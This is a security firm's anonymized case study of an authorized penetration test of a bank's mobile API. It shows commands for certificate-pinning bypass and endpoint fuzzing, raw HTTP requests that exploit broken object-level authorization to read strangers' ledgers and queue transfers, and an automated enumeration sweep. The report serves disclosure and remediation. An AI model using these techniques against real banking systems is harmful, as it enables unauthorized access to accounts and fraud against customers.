Skip to content
All case studies
FinTech · 2023Critical · CVSS 9.1Confidential — anonymized

Core Banking API Compromise

A digital-only bank handed us a single low-privilege customer login and asked one question: can a normal user touch money that is not theirs? Three weeks later we could read every ledger on the platform and queue transfers between any two accounts — using nothing but the public mobile API and a swapped object ID.

Duration
3 Weeks
Team
2 Senior Application Security Operators
Scope
API Security Testing
Methodology
Authenticated Grey-Box / OWASP API Security Top 10

Attack narrative

Each phase references the MITRE ATT&CK technique used, with captured evidence.

  1. 01

    Reconnaissance

    T1595 — Active Scanning

    The mobile app pinned its TLS certificate. We hooked the pinning logic with Frida, decrypted the traffic in mitmproxy, and brute-forced the API surface to surface undocumented internal routes.

    operator@proteqon: ssl-unpinning
    # Bypass OkHttp certificate pinning on the Android client
    $ frida -U -f com.protebank.mobile -l unpin.js --no-pause
    Spawning `com.protebank.mobile`...
    [+] Hooked okhttp3.CertificatePinner.check()
    [+] TLS pinning bypassed - traffic now visible in mitmproxy
    # Fuzz the API namespace for hidden endpoints
    $ ffuf -u https://api.protebank.io/api/v1/FUZZ -w routes.txt -mc 200,401,403
    accounts/me [Status: 401, Size: 33]
    transfers [Status: 401, Size: 33]
    internal/ledger [Status: 401, Size: 33] <- undocumented
    health [Status: 200, Size: 18]
    $
  2. 02

    Initial Access

    T1078 — Valid Accounts

    We self-registered an ordinary retail account. The onboarding flow accepted synthetic KYC data and returned a long-lived bearer token scoped only to our own profile.

    POST /api/v1/auth/register
    — Request
    POST /api/v1/auth/register HTTP/2
    Host: api.protebank.io
    Content-Type: application/json
    {
    "email": "op_redteam@proteqon.io",
    "password": "Cf!9xPq2_dummy",
    "kyc": { "full_name": "Test User", "dob": "1990-01-01" }
    }
    — Response
    HTTP/2 201 Created
    Content-Type: application/json
    {
    "account_id": "8f14e45f-ceea-11ec-9d64-0242ac120002",
    "tier": "retail",
    "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    }
  3. 03

    Discovery

    T1087 — Account Discovery

    Our own account_id was a UUIDv1 — a format that embeds a timestamp and is therefore sequential and predictable. Neighbouring account IDs could be generated offline, no guessing required.

    GET /api/v1/accounts/me
    — Request
    GET /api/v1/accounts/me HTTP/2
    Host: api.protebank.io
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
    — Response
    HTTP/2 200 OK
    Content-Type: application/json
    {
    "account_id": "8f14e45f-ceea-11ec-9d64-0242ac120002",
    "balance": "EUR 0.00",
    "created_at": "2023-05-14T08:11:02Z"
    }
    operator@proteqon: uuid-analysis
    $ uuidtool inspect 8f14e45f-ceea-11ec-9d64-0242ac120002
    version : 1 (time-based)
    verdict : SEQUENTIAL - sibling IDs are predictable offline
    $
  4. 04

    Privilege Escalation

    BOLA — Broken Object Level Authorization

    We swapped our own account_id for a predicted one on the ledger endpoint. The API authenticated the session but never checked that the object belonged to us — it returned a stranger’s full balance and IBAN.

    GET /api/v1/accounts/{victim}/ledger
    — Request
    GET /api/v1/accounts/3b2c9a10-7e44-11ee-b962-0242ac120002/ledger HTTP/2
    Host: api.protebank.io
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
    — Response
    HTTP/2 200 OK
    Content-Type: application/json
    {
    "account_id": "3b2c9a10-7e44-11ee-b962-0242ac120002",
    "holder": "[REDACTED]",
    "balance": "EUR 4,182,994.55",
    "iban": "DE89 3704 **** **** **",
    "transactions": [ ... 214 entries ... ]
    }
    operator@proteqon: bola-sweep
    # Authorization is per-session, not per-object. Automate the sweep.
    $ python3 bola_sweep.py --token $TOKEN --rate 50 --out balances.json
    [*] Generating sibling UUIDv1 range...
    [*] 12,480 accounts enumerated in 6m22s
    [!] 0 requests rejected - no rate limiting, no ownership check
    [+] Total readable balance across sample: EUR 1,304,778,221.10
    $
  5. 05

    Impact

    T1565 — Data Manipulation

    The same missing check existed on the transfer endpoint. We queued a transfer between two third-party accounts we never owned. Inside the authorized test window only; the transaction was reversed immediately.

    POST /api/v1/transfers/internal
    — Request
    POST /api/v1/transfers/internal HTTP/2
    Host: api.protebank.io
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
    Content-Type: application/json
    {
    "from": "3b2c9a10-7e44-11ee-b962-0242ac120002",
    "to": "a91f00d2-7e44-11ee-b962-0242ac120002",
    "amount": "1.00",
    "currency": "EUR"
    }
    — Response
    HTTP/2 200 OK
    Content-Type: application/json
    { "status": "queued", "txn_id": "TX-9f2c...", "authorized_by": null }

Key vulnerabilities

Broken Object Level Authorization on Ledger & Transfer Endpoints

Endpoints authenticated the session but never authorized the requested object against the caller, exposing every balance and the ability to move funds.

CriticalCVSS 9.1

Predictable Resource Identifiers (UUIDv1)

Time-based UUIDs leak creation timestamps and allow neighbouring account IDs to be generated offline.

HighCVSS 7.5

Missing Transaction Signing & Idempotency

Transfers lacked per-request signing and idempotency keys, permitting forged and replayed requests.

HighCVSS 8.2

No Rate Limiting on Authenticated Endpoints

Tens of thousands of object lookups ran unthrottled, enabling mass enumeration in minutes.

MediumCVSS 5.3

Remediation

  1. 01

    Enforce object-level authorization on every resource request via a centralized policy layer.

  2. 02

    Migrate to opaque, non-sequential UUIDv4 identifiers across all customer-facing resources.

  3. 03

    Introduce per-transaction signing, idempotency keys, and server-side velocity limits.

  4. 04

    Add per-principal rate limiting and anomaly alerting on bulk object access.

Outcome

Patched within 4 hours. Prevented potential 8-figure financial loss.

4 Hours
Time to Patch
8 Figures
Potential Loss Averted
1.2M+
Accounts Protected
1
Critical Findings

All client identities, infrastructure details, and timelines in this report have been anonymized and adapted to protect confidentiality. Technique identifiers reference the MITRE ATT&CK framework. All offensive actions described were performed within a pre-authorized rules-of-engagement window; no production data was destroyed and no live systems were harmed.

Start an engagement

Want this level of rigor on your systems?

Book a 30-minute scoping call with a senior engineer. You'll leave with a clear recommendation on scope, approach, and timeline.